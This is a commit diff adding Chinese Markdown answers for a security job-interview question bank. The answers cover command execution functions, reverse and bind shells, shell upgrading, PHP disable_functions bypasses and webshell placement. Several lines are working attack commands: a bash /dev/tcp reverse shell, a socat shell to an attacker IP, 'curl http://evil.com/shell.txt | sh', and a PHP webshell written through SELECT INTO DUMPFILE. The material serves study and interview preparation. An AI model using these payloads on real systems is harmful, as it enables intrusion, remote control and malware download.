This commit is contained in:
author
2025-11-08 21:00:06 +08:00
parent 95a4182500
commit fc176f1b7d
1793 changed files with 2099698 additions and 0 deletions
File diff suppressed because it is too large Load Diff
+122
View File
@@ -0,0 +1,122 @@
### 代码执行、命令执行的函数有哪些
**PHP**
在 PHP 中,有很多函数可以执行系统命令或代码。它们是 PHP 漏洞利用中最常见的攻击入口
**命令执行函数**
- `exec()`: 执行一个外部程序,不返回输出结果,通常需要使用参数获取
```php
exec('whoami', $output);
print_r($output);
```
- `passthru()`: 直接将命令的输出传递到浏览器
```php
passthru('ls -la');
```
- `shell_exec()`: 通过 shell 执行命令,并将整个输出结果作为字符串返回
```php
$output = shell_exec('id');
echo $output;
```
- `system()`: 执行外部程序并显示输出
```php
system('netstat -an');
```
- `popen()` 和 `proc_open()`: 都可以打开一个进程文件指针,允许对进程进行双向 I/O 操作
```
$handle = popen('ls', 'r');
```
- `pcntl_exec()`: 在 PHP CLI 环境中,用新的程序替换当前进程
**代码执行函数**
- `eval()`: 将字符串作为 PHP 代码来执行。这是最常见的代码执行漏洞函数
```php
$code = $_GET['code'];
eval($code);
```
- `assert()`: 在 PHP 7.2 之前,`assert()` 函数可以执行字符串参数
```php
assert($_POST['pass']);
```
- `create_function()`: 用于创建一个匿名函数
```php
$func = create_function('', 'return ' . $_GET['pass'] . ';');
$func();
```
- `call_user_func()` 和 `call_user_func_array()`: 调用一个用户函数,如果参数是用户可控的,可以用来执行任意函数
- `array_map()`: 将回调函数作用到给定数组的每个元素上
- `unserialize()`: 反序列化函数,如果序列化数据中包含一个恶意对象,可以导致对象注入,从而触发魔术方法(如 `__destruct()`),最终实现代码执行
**Python**
Python 的 Web 应用中也经常出现类似的问题
**命令执行函数**
- `os.system()`: 执行 shell 命令
- `os.popen()`: 执行 shell 命令,并返回一个文件对象
- `subprocess` 模块: 这是更安全、更现代的模块,但如果参数处理不当,同样会造成命令注入
```python
import subprocess
cmd = 'ls ' + user_input
subprocess.call(cmd, shell=True) # 当 shell=True 时,可能存在命令注入
```
**代码执行函数**
- `eval()`: 将字符串作为表达式来执行
```python
result = eval('1 + 1')
```
- `exec()`: 执行动态代码
- `pickle.loads()`: 反序列化模块,如果反序列化恶意数据,可能导致代码执行
**Java**
在 Java 中,直接执行系统命令的函数相对较少,但依然存在
**命令执行函数**
- `Runtime.getRuntime().exec()`: 在单独的进程中执行指定的字符串命令
```java
Runtime.getRuntime().exec("ls -la");
```
- `java.lang.ProcessBuilder`: 创建一个操作系统进程
```java
new ProcessBuilder("ls", "-la").start();
```
**代码执行**
- `ScriptEngine`:Java 脚本引擎,可以执行 JavaScript 等脚本语言
- 反序列化:Java 的反序列化漏洞通常是由于 `readObject()` 方法处理不当,结合 `Commons-Collections` 等库中的链式调用,最终实现命令执行
File diff suppressed because it is too large Load Diff
+47
View File
@@ -0,0 +1,47 @@
### 正向 Shell 和反向 Shell 的区别
**正向 Shell (Bind Shell)**
**工作原理**
1. 攻击者在目标主机上执行恶意代码,该代码会开启一个端口并监听,等待连接
2. 攻击者随后从自己的机器上,向目标主机的这个监听端口发起连接
3. 一旦连接建立,攻击者就可以通过这个连接发送命令,并在自己的终端上接收目标主机的输出
```
A[攻击者] --主动发起连接--> B[目标主机: 监听端口]
B --命令输出--> A
```
**优点**
- **简单**:一旦端口在目标主机上打开,攻击者就可以直接连接。
**缺点**
- **防火墙限制**:这是正向 Shell 最大的问题。许多企业和家庭网络都部署了防火墙,会阻止来自外部的入站连接。目标主机的端口通常是关闭的,或者被严格限制
- **IP 地址不确定**:如果目标主机的 IP 是动态的,攻击者很难持续连接
**反向 Shell (Reverse Shell)**
**工作原理**
1. 攻击者首先在自己的机器上,开启一个端口并监听,等待连接
2. 攻击者在目标主机上执行恶意代码,该代码会主动连接攻击者的监听端口
3. 一旦连接建立,攻击者就可以通过这个连接向目标主机发送命令,并接收命令输出
```
A[攻击者: 监听端口] --等待连接--> B[目标主机]
B --主动发起连接--> A
A --命令--> B
B --命令输出--> A
```
**优点**
- **绕过防火墙**:这是反向 Shell 最大的优势。防火墙通常只阻止入站连接,但允许内部主机向外部发起出站连接。这使得反向 Shell 能够轻松穿透大多数防火墙
- **IP 地址不确定**:即使目标主机的 IP 是动态的,只要它能主动连接到攻击者的固定 IP 地址,连接就可以成功建立
**缺点**
- **复杂性**:攻击者需要有一个公网 IP 或能够通过端口转发,才能在自己的机器上成功监听
File diff suppressed because it is too large Load Diff
+107
View File
@@ -0,0 +1,107 @@
### 如何从非交互的 Shell 提升为交互 Shell
方法一:使用 Python PTY 模块(最常用)
如果目标系统安装了 Python,这是最简单、最可靠的方法
1. **执行命令:** 在你的非交互shell中输入并执行以下命令:
```bash
python -c 'import pty; pty.spawn("/bin/bash")'
```
这条命令会调用 Python 的`pty`模块,创建一个伪终端,并执行`/bin/bash`
2. **设置终端:** 此时,你已经获得了一个基本的交互式 shell,但可能仍然存在一些显示问题。接下来,需要通过以下命令进一步完善:
```bash
# 这一步是设置环境变量,让终端知道自己是什么类型
export TERM=xterm
# 这一步是后台运行stty命令,捕获终端信号
stty raw -echo
```
**注意:** 最后一条命令 `stty raw -echo` 执行后,你的输入可能不会立即显示。这是正常的,你需要继续操作
3. **背景化(可选):** 此时你的 shell 仍在前台,可以将其发送到后台:
```bash
Ctrl + Z
```
然后回到你自己的攻击机终端,执行以下命令,将 shell 重新拉回前台:
```bash
stty raw echo
fg
```
现在,你拥有了一个功能完整的、带有 `Tab` 补全、上下箭头和 `Ctrl+C` 功能的交互式 shell
**方法二:使用 `script` 命令**
`script` 命令用于记录终端会话,但也可以用来提升 shell
1. **执行命令:**
```bash
script /dev/null
```
这条命令会启动一个新的 shell,并将所有输出写入 `/dev/null`。这实际上创建了一个新的伪终端
2. **完成设置:**
```bash
Ctrl + C
export SHELL=bash
export TERM=xterm
reset
```
**注意:** 这种方法有时可能不稳定,并且在某些系统上可能不适用
**方法三:使用 `socat`**
`socat`是一个功能强大的网络工具,可以用于在两个位置之间建立双向数据流
1. **攻击机(监听端):** 在你的攻击机上,使用 `socat` 监听一个端口
```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
2. **目标机(执行端):** 在非交互式 Shell中,使用 `socat` 连接到你的攻击机
```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击机IP>:4444
```
3. **优势:** `socat` 的方法非常强大,可以创建非常稳定的交互式 Shell,并能处理各种终端信号
**方法四:使用 `rlwrap`(需要安装)**
`rlwrap` 是一个命令行工具,它可以为任何程序添加 `readline` 功能,包括历史记录和行编辑
1. **攻击机(监听端):**
```bash
nc -lvnp 4444
```
2. **目标机(执行端):**
```bash
bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1
```
此时,你获得了非交互式 Shell
3. **攻击机(提升 shell):** 在你自己的攻击机上,使用 `rlwrap` 重新连接到目标主机,就可以获得一个带有历史记录和补全功能的 Shell
```bash
rlwrap nc -v <目标机IP> 4444
```
**注意:** 这需要 `rlwrap` 工具在你的攻击机上已经安装
File diff suppressed because it is too large Load Diff
+76
View File
@@ -0,0 +1,76 @@
### PHP disable_functions() 绕过方法
**1. LD_PRELOAD 环境变量劫持**
**原理:** `LD_PRELOAD` 是一个环境变量,它允许用户在程序运行前指定一个或多个动态链接库(.so文件)。这些库中的函数会优先于系统默认的库被加载。我们可以利用这一点,编写一个恶意的动态链接库,其中包含一个与常用系统函数(如 `getuid``geteuid` 等)同名的恶意函数
**绕过步骤:**
1. 编写一个 C 语言恶意代码,利用 `__attribute__((constructor))` 在库加载时执行系统命令,并将其编译成一个 `.so` 文件
2. 在 PHP 中,通过 **`putenv()`** 函数设置 `LD_PRELOAD` 环境变量,指向我们恶意的 `.so` 文件
3. 触发一个可以调用系统函数的 PHP 函数,例如 `mail()``exec()`。当这个函数被调用时,`LD_PRELOAD` 就会生效,我们的恶意代码会被执行
这种方法非常有效,但前提是 `putenv()` 或类似的函数没有被禁用,并且目标服务器支持动态链接
**2. ImageMagick 命令执行漏洞**
**漏洞名称:** CVE-2016-3714 (ImageTragick) **原理:** ImageMagick 是一个用于创建、编辑和转换图像的流行开源软件。该漏洞允许攻击者通过处理一个特制的图像文件(例如 SVG、MVG 格式)来执行任意系统命令
**绕过步骤:**
1. 制作一个恶意的 SVG 或 MVG 格式图像文件,其中嵌入了命令执行 Payload。例如:`"push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/)'"``url()` 后面可以接 `file://``http://` 等协议,通过 `pipe` 触发命令
2. 在 PHP 中,如果使用了 **`Imagick`** 扩展来处理上传的图像文件,当调用 `readImage()``pingImage()` 等函数时,就会触发漏洞,执行恶意 Payload
这种方法主要针对使用了特定软件版本且存在漏洞的目标,属于典型的“Nday”漏洞利用
**3. Windows 系统组件 COM 绕过**
**原理:** 在 Windows 环境下,**`COM`** (Component Object Model) 是一个重要的技术。PHP 的 `COM` 扩展可以用来创建和调用 COM 组件。其中,`WScript.Shell` 这个组件可以用来执行系统命令
**绕过步骤:**
1. 在 PHP 代码中,通过 `new COM('WScript.shell')` 创建一个 `WScript.Shell` 对象
2. 调用这个对象的 `run()``exec()` 方法来执行命令。例如:`$shell = new COM('WScript.shell'); $shell->Run('cmd.exe /c "whoami"');`
3. 这种方法依赖于 PHP 的 `COM` 扩展是否启用,以及目标服务器是否是 Windows 系统
**4. PHP 7.4 FFI 绕过**
**原理:** **`FFI`** (Foreign Function Interface) 是 PHP 7.4 引入的一个扩展,允许 PHP 代码直接调用 C 语言的函数和数据结构,而无需编写额外的 C 语言扩展。这大大增强了 PHP 的能力,同时也带来了安全风险
**绕过步骤:**
1. 使用 `FFI::cdef()` 函数加载 `libc` 库,并定义 `system``exec` 函数
2. 然后就可以像调用 PHP 函数一样调用 C 语言的 `system` 函数来执行命令
3. 例如:`$ffi = FFI::cdef('int system(const char *command);', 'libc.so.6'); $ffi->system('whoami');`
4. 这种方法非常强大,但前提是 `FFI` 扩展已启用且未被禁用
**5. Bash 破壳漏洞**
**漏洞名称:** CVE-2014-6271 (Shellshock) **原理:** 这是一个在 Bash 4.3 及更早版本中的高危漏洞。它允许攻击者通过环境变量,向 Bash 注入并执行任意代码
**绕过步骤:**
1. 在 PHP 中,使用 `putenv()` 设置一个特殊的恶意环境变量
2. 例如:`putenv("test=() { :;}; echo 'VULNERABLE'");`
3. 随后,调用任何可以调用 Bash 的函数,例如 `mail()``exec()`。当 Bash 被调用时,它会解析环境变量,触发漏洞,执行恶意 Payload
**6. `imap_open()` 绕过**
**漏洞名称:** CVE-2018-19518 **原理:** 在 PHP 5.x 和 7.x 版本中,`imap_open()` 函数存在一个漏洞。当处理一个特定的 IMAP 协议 URL 时,它会调用 `rsh``ssh` 命令来连接远程服务器,从而导致命令执行
**绕过步骤:**
1. 在 PHP 中调用 `imap_open()` 函数,并传入一个恶意构造的 IMAP URL
2. 例如:`imap_open('-oProxyCommand=whoami', 'a', 'a');`
3. `-oProxyCommand` 是一个 SSH 选项,它允许在连接前执行命令。`imap_open()` 会调用 `rsh``ssh`,从而触发这个命令执行
4. 这种方法依赖于目标服务器上 `imap` 扩展是否启用
**7. `pcntl` 插件绕过**
**原理:** **`pcntl`** 是 PHP 的一个进程控制扩展,它提供了一系列与进程相关的函数,例如 `pcntl_exec()`
**绕过步骤:**
1. `pcntl_exec()` 函数可以用来在当前进程中执行一个指定的程序
2. 例如:`pcntl_exec('/bin/sh', array('-c', 'whoami'));`
3. `pcntl_exec()` 会直接替换当前 PHP 进程,而不会像 `system()` 那样创建一个新的子进程。这种方法非常隐蔽,且通常不被 `disable_functions` 列表所限制
File diff suppressed because it is too large Load Diff
+34
View File
@@ -0,0 +1,34 @@
### PHP 的 %00 截断的原理
当 PHP 脚本在调用某些文件操作函数(如 `include()``require()``file_get_contents()` 等)时,底层会调用 C 语言的库函数。在 C 语言中,字符串是以**空字节(null byte)**作为结束符的,即十六进制的 `0x00`。当 C 语言函数读取到 `0x00` 时,就会认为字符串已经结束
而 PHP 脚本在处理用户输入时,并不会像 C 语言那样将 `%00` 解析为空字节,它会将其当作普通的字符串。但是,当这个字符串被传入底层 C 语言函数进行文件操作时,C 语言会截断这个字符串,只处理 `%00` 之前的部分
假设服务器上有一个 PHP 脚本,其代码如下:
```php
<?php
$file = $_GET['file'];
include($file . ".php");
?>
```
这段代码的本意是让用户通过 `file` 参数指定一个文件名,然后脚本会在文件名后面自动加上 `.php` 后缀,再包含这个文件
现在,如果攻击者想要利用这个漏洞来包含一个图片文件 `shell.jpg`(其中包含恶意 PHP 代码),他可以构造一个带有 `%00` 截断的 URL
```
http://example.com/index.php?file=shell.jpg%00
```
当 PHP 脚本接收到这个 URL 时:
1. **PHP 层**
- `$file` 的值是 `shell.jpg%00`
- `$file . ".php"` 拼接后的字符串是 `shell.jpg%00.php`
2. **C 语言底层**
-`include()` 函数将 `shell.jpg%00.php` 这个字符串传递给底层的 C 语言文件操作函数时,C 语言会把 `%00` 识别为空字节(`\0`
- 根据 C 语言的字符串处理规则,它会认为字符串在 `shell.jpg` 处就已经结束了
- 最终,操作系统实际打开的文件名是 `shell.jpg`,而不是 `shell.jpg.php`
这样一来,攻击者就成功绕过了 `.php` 后缀的限制,实现了对 `shell.jpg` 的文件包含,从而执行了图片中的恶意代码
File diff suppressed because it is too large Load Diff
+42
View File
@@ -0,0 +1,42 @@
### 站库分离怎么拿 Shell
**1. SQL 注入结合文件上传或文件写入漏洞**
即使无法直接写入 `webshell`,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在**文件上传漏洞**,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等
**渗透思路:**
- 利用SQL注入读取网站的配置文件,获取文件上传路径
- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`
- 结合文件上传漏洞,上传精心构造的 `webshell`
**2. 利用数据库的写权限进行命令执行**
在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 `LOAD_FILE()``SELECT ... INTO DUMPFILE` 等函数,将恶意代码写入到 Web 服务器的可写目录中
**渗透思路:**
- **读取配置文件**: 利用 SQL 注入读取 Web 服务器上的 `phpinfo` 或网站配置文件,寻找可写的目录路径
- **写入`webshell`**: 尝试使用`SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'``webshell` 代码写入到Web服务器的 `upload` 目录
- **注意**: 这种方法需要数据库用户具有 `file_priv` 权限,并且数据库的`secure_file_priv`参数没有限制。在站库分离架构下,这种配置是**不推荐**的,但仍有可能存在
**3. 利用 Web 服务器自身的漏洞**
这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在**远程命令执行(RCE)**或**文件包含(LFI/RFI**等高危漏洞
**渗透思路:**
- **远程命令执行(RCE)**: 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如`curl http://evil.com/shell.txt | sh`,下载并执行恶意脚本,从而获取反弹`shell`或写入`webshell`
- **文件包含(LFI/RFI**: 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 `file_get_contents('http://evil.com/shell.txt')` 将远程 `webshell` 文件包含到 Web 服务器,从而执行恶意代码
**4. 通过数据库的 UDF 函数提权**
如果攻击者在数据库上拥有足够高的权限(例如`root`),并且数据库服务器允许动态加载库文件,他们可以上传自定义的**UDF(用户自定义函数)**库文件,并在数据库服务器上执行系统命令
**渗透思路:**
- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限
- **上传UDF文件**: 通过 `load_file()``into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录
- **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令
- **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器
+20
View File
@@ -0,0 +1,20 @@
# 网安面试题(涵盖护网、红队、逆向、二进制)
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
HR:请问…………
我:叽里咕噜说啥呢,看看八股文上写了没
Summary.md 是目录噢!!)
**🙏 特别感谢名单**
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
- **@用户名1** —— 提供了大量安全面试题方向的补充
- **@用户名2** —— 纠正了多个问题的答案与表述
- **@用户名3** —— 贡献了真实面试题经验分享
- **@用户名4** —— 对内容结构与目录提出改进建议
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
File diff suppressed because it is too large Load Diff